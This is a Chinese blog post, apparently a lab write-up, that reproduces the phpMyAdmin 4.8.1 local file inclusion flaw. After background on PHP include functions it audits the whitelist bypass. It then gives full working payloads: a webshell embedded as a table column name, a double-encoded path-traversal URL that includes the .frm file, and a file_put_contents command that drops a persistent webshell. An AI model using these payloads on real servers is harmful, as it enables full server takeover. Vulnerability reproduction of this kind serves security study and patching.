phpmyadminV4.8.1本地文件包含漏洞复现


一、phpMyadmin简介

当前有很多GUI图形界面的MySQL客户端管理程序,其中最为出色的是基于 Web 的phpMyAdmin 工具。这是一种 MySQL数据库前台的基于PHP的工具,具有直观的网页界面,支持大多数 MySQL 功能,而且可以管理多个服务器的MYSQL数据库。


二、什么是文件包含漏洞?

同样一段代码在很多文件中都会用到,为了避免代码冗余和减少重复的工作量,就需要反复引用同一段代码或者同一个文件,从而就有了文件包含的概念。文件包含是为了让代码更高效,需要反复用到的部分会提前写好,然后再去调用,且被包含的文件会当作PHP代码执行,忽略后缀本身。
文件包含本身是一个功能,并不属于漏洞,但如果能被攻击人员所控制,实现任意文件包含,就是漏洞了。


三、本地包含和远程包含

文件包含分为本地文件包含(LFI: local file include)和远程文件包含(RFI: remote file include)。
本地文件包含:直接上传webshell,让服务器包含这个文件。前提是你的一句话木马得传得上去或者写得进去。
远程文件包含:自己在服务器放个包含恶意代码的txt文件,直接让目标来包含这个文件就可以了。 你的木马不存在在目标主机上,要包含的远程地址一般都是txt,因为txt文件内容比较正常,如果改成别的文件,目标获得的信息可能出现一些偏差。
写法比如:

include(http://www.baidu.com/1.txt)

注意,远程文件包含功能在默认情况下是不开启的,需要手动修改php.ini配置文件(需要设置allow_url_include = On,并且注意配置文件中的这行不要带有单引号)
隐藏的小技巧:有没有办法可以不开启配置文件,让本地文件包含,当做远程包含?答案是肯定的,可以采用SMB法。SMB法是指php远程文件包含攻击,利用SMB共享来绕过php远程文件包含的限制,有兴趣可以去研究。


四、文件包含相关函数介绍

1、函数介绍

在PHP中文件包含的相关函数主要有:

1require()
2require_once()
3include()
4include_once()

require() 与 include() 相类似,都是包括并运行指定文件。不同之处在于:对 include() 语句来说,在执行文件时每次都要进行读取和评估;而对于 require() 来说,文件只处理一次(实际上,会将读取到的文件内容直接替换掉 require() 语句)。这就意味着如果同样的代码需要执行多次,则使用 require() 效率更高。另外一方面,如果每次执行代码时是读取不同的文件,或者有通过一组文件迭代的循环,使用include() 语句会更好。
简而言之,include在用到时加载,require 在一开始就加载。

2、报错

PHP系统在加载PHP程序时有一个伪编译过程,可使程序运行速度加快。include 的文件中出错了,主程序继续往下执行,require 的文件出错了,主程序也就停了,所以包含的文件出错对系统影响不大的话(如界面文件)就用 include,否则用 require。require() 和 include() 语句其实是语言结构,不是真正的函数,可以像 php 中其他的语言结构一样,例如 echo() 可以使用 echo(“ab”) 形式,也可以使用 echo “abc” 形式输出字符串 abc。require() 和include() 语句也可以不加圆括号而直接加参数。

3、_once

_once 后缀表示已加载的不加载。
require_once语句是require语句的延伸,他的功能与require语句基本一致,不同的是,在应用require_once时,先会检查要引用的文件是不是已在该程序中的其他地方被引用过,如果有,则不会再重复调用该文件。(注意:同时使用require_once语句在同一页面中引用了两个相同的文件时,那么在输出的时候,只有第一个文件会被执行,第二个引用的文件不会被执行)

4、小结

当出现文件包含时,无论是什么后缀,都会直接读取文件内容,然后把内容当做PHP(有<?php?>的标识)或者html代码(没标识的情况)执行。如果是_once后缀,则在同一个文件中,只加载一次。


五、关于windows特性的一个小知识

CMD也会偷懒,进入一个文件夹再退出其实不会真的去执行进入的操作,也不会报错,哪怕文件不存在。
例如以下dos命令:
cd fjdfjdsfds/../
并不会报错,而是返回当前目录,可见它并不是先进入文件夹再跳出,而是判断了语义,经过综合判断知道了最后要到的地方,所以直接去了目的地。所以。据此我们可以判断,执行以下命令不会报错:
cd fkdjlkfjsdfjds/../
这是windows系统的特性。cd命令可以进入一个文件夹再跳出来,无论这个文件夹是否存在。我们可以利用windows这个特性,尝试做一些骚操作。
注:
./表示留在当前目录
../表示回到上一级目录


六、phpMyadmin文件包含漏洞代码审计

(一)phpMyadmin下载

可通过以下地址下载phpMyAdmin4.8.1:
http://59.63.200.79:8010/lfi/phpMyAdmin.zip

(二)漏洞细节

因为文件包含主要是对包含的函数处理不当造成的。所以我们可以针对性的对这些函数进行点名,看到存在包含变量文件就跟过去看看。
全局搜索include,看到有被include包含的REQUEST传参,就必须要重点关注一下了。
在这里插入图片描述
由于前面几个文件中的include包含的都是固定值,因此直接跳过。
代码审计最喜欢看到的就是危险函数后面接一个REQUEST或者GET、POST传参,因为如果后面接的是变量,变量很可能是经过各种处理的,层层分析起来比较麻烦。定位到函数以后,就需要分析上下文(主要是上面的代码),寻找可利用的点。
现在定位到搜索结果的第8行:
在这里插入图片描述
双击打开该文件:
在这里插入图片描述
看到include是在if里面的,要想执行这个命令,需要先让if条件成立。
简单分析一下代码,if条件要成立需要满足以下几个条件:

1.传入的target得全部是字符串;
2.不能为/index/开头;
3.不在$target_blacklist数组中;
4.满足Core类中的checkPageValidity函数,这个函数的返回结果得是true,if才可能全部成立。

定位checkPageValidity函数查看其内容:
在这里插入图片描述
双击打开这个文件:
发现有三个条件会返回true:
在这里插入图片描述
发现都是需要$page在whitelist数组中,才能返回true。
查看白名单的内容:
在这里插入图片描述
由于传参不能以index为开头,文件名又必须是白名单内的,因此随便选一个文件名,比如db_sql.php文件。假设用这样的传参:
db_sql.php?/../../../aaa.txt
这样可以绕过白名单的限制实现文件包含了。但这种格式并不能跨路径包含,因为php程序把号后面的东西当成是传入db_sql.php文件的参数。看来这里没法利用了?显然不是,继续看源代码:
在这里插入图片描述
第三个和第二个对比,多出了个urldecode()函数,我们可以利用这个函数进行传参。在include中,本身是不能出现?的,否则会报错。但是include却可以识别%3f,因此传参之前先将?进行两次URL编码,经过自动解码后,结果就变成了%3f,这样就可以被include执行而不报错了。为什么是两次编码呢?首先,GET传参会默认编码一次,传入后台后,服务器会自动解码一次。这样实际上相当于两次编码后的?参数原原本本的传入了后台,而经过urldecode()函数处理后,会变成%3f,可以被include识别,作用相当于?

注:
在phpmyadmin的大部分版本中,都有这个问题。
&& and || or :: PHP中类的方法的的调用
mb_strpos (要被检查的字符串,要搜索的字符串 )


七、本地搭建phpMyadmin测试

首先在本地搭建好phpMyadmin,然后访问登陆页面:
在这里插入图片描述
输入账号密码,我的是root、root:
在这里插入图片描述
现在我们需要设法让数据库中存在一个webshell,然后我们通过代码审计找到的文件包含漏洞去包含这个文件,这样就能调用webshell去生成一个真正能独立运行的webshell,这样就能拿下服务器了。
首先需要知道MYSQL数据库的绝对路径,通过以下命令查询:

select @@basedir

在这里插入图片描述
得到绝对路径。然后使用以下命令创建一个数据库(注意,数据库可以是空的,但是用命令创建的表格必须含有字段,否则会报错):

create database 0704test

在这里插入图片描述
接着去该路径下查看数据库会保存在哪里:
在这里插入图片描述
结合其他数据库,可以判断出,数据库保存在data文件夹下,每个数据库名即为文件夹名,每个表名会被加上.frm后缀,字段以字符串的形式保存在表名.frm文件中。
据此我们可以判断,要想生成一个webshell,只要新建一个表,然后用一句话木马作为字段名,这样利用文件包含漏洞去包含这个表名.frm,就会自动识别webshell,从而实现初步getshell。
接着新建一个admin表,并把字段名命名为一句话木马:

create table admin(`<?php eval($_REQUEST[8])?>` VARCHAR(255))

注意上面用了反引号。
在这里插入图片描述
然后点开该字段,查看效果:
在这里插入图片描述
成功将字段名命名为一句话木马。接下来通过在线URL编码的网站将?进行两次编码,得到%253f,然后构造payload如下:

http://127.0.0.1/phpmyadmin/index.php?target=sql.php%253f../../../../../../../../../../phpstudy
/MySQL/data/0704test/admin.frm&8=phpinfo();

上面的../可以使用很多次,超过目标的目录层级后,会直接到达根目录就不再跳转了,因此多输入几次会比较保险。
然后将该payload完整复制到URL中,注意要和现有的页面保持在同一个浏览器中,因为这个payload需要目标的cookie支持:
在这里插入图片描述
看到成功getshell。
由于访问这个页面需要Cookie,所以此时还不能用webshell管理工具连接。需要利用这个webshell进行写马的操作。首先在已经构造好的payload上面进行修改,结果如下:

http://127.0.0.1/phpmyadmin/index.php?target=sql.php%253f../../../../../../../../../../phpstudy
/MySQL/data/0704test/admin.frm&8=file_put_contents('666.php','<?php eval($_REQUEST[8])?>');

注意末尾有个分号别漏了。然后直接整个复制到浏览器里访问就可以了。执行结果如下:
在这里插入图片描述
没有报错信息,意味着写马成功了。那么现在问题来了,这个文件已经伸长了,但是它在哪里呢?答案是,传参给谁,就和谁在同一个目录下。很显然我们是传参给index.php文件,因此应该去index.php所在的目录下寻找该文件,经过查找,发现其实就在网站根目录下,因此尝试传参访问看看:

http://127.0.0.1/phpmyadmin/666.php?8=phpinfo();

在这里插入图片描述
接着查询本机的内网ip:
在这里插入图片描述
然后上菜刀,访问地址为:

http://192.168.181.128/phpmyadmin/666.php

在这里插入图片描述
连接成功!截图如下:
在这里插入图片描述


八、小结

本文首先根据网上公开的phpMyadmin文件包含漏洞,通过代码审计定位危险函数,然后逐步分析,最终确定payload,并通过本地搭建phpMyadminV4.8.1版本成功进行漏洞复现。实际上该漏洞对于大部分版本的phpMyadmin都生效,因此有使用该系统的需要引起格外的重视,及时修补该漏洞。

  • 6
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值